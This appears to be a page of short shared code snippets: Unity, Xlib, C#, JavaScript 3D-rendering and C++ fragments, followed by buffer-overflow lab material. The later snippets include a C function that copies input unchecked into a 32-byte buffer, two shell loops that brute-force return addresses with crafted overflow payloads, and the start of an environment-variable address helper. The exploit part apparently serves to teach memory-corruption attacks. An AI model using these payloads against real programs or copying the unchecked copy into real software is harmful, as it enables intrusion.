This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using UnityEngine; | |
using System.Collections; | |
using Emgu.CV; | |
using Emgu.CV.Util; | |
using Emgu.CV.UI; | |
using Emgu.CV.CvEnum; | |
using Emgu.CV.Structure; | |
using System.Runtime.InteropServices; | |
using System; | |
using UnityEngine.UI; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Xlib.display import Display | |
import Xlib | |
from Xlib import X, XK | |
import Xlib.XK | |
import sys | |
import signal | |
import Queue | |
display = None | |
root = None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public MainWindow() | |
{ | |
InitializeComponent(); | |
// Logea las excepciones no controladas. | |
AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(unhandledException); | |
} | |
static void unhandledException(object sender, UnhandledExceptionEventArgs args) | |
{ | |
Exception e = (Exception)args.ExceptionObject; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
renderer = new AL3D.Renderer(window.innerWidth,window.innerHeight); | |
camera = new AL3D.PerspectiveCamera(40, window.innerWidth/window.innerHeight); | |
scene = new AL3D.Scene(); | |
scene.add(mesh); | |
scene.add(light); | |
renderer.addEffect(new AL3D.GreyScaleEffect()); | |
renderer.render(scene, camera); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
earthMaterial = new AL3D.BlinnMaterial({shininess : 128, diffuse : 0xFFAAAAAA, specular : 0xffffffff, shading : AL3D.PhongInterpolation, texture: './res/color-map.jpg', specularMap: './res/specular-map.jpg', normalMap: './res/normal-map1.jpg'}); | |
earth = new AL3D.Mesh.createSphere({radius: 1, height : 2, material : earthMaterial}); | |
earth.position = new ALMath.Vector3(0,0,-2); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "Triangle.hpp" | |
Triangle::Triangle(vec3 a, vec3 b, vec3 c, mat4 transform): | |
m_a(a), m_b(b), m_c(c), Geometry(transform) | |
{ | |
} | |
Triangle::~Triangle() | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
for i in `seq 1 2000`; | |
do | |
echo "Número de intentos: $i" | |
./name `python -c "print 'A'*44 + '\x70\x83\x04\x08' + '\x90\x83\x04\x08' + '\x3e\x73\xf3\xff' "` | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
void func(char *arg) | |
{ | |
char name[32]; | |
strcpy(name, arg); | |
printf("Bienvenido %s\n", name); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
for i in `seq 1 200`; | |
do | |
echo "Número de intentos: $i" | |
./name `python -c "print 'A'*44 + '\xbc\x6c\xb5\xff'"` | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
int main(int argc, char **argv) | |
{ | |
if (argc < 3){ | |
printf("uso: %s variable_entorno programa_vulnerable\n", argv[0]); | |
return 0; | |
} |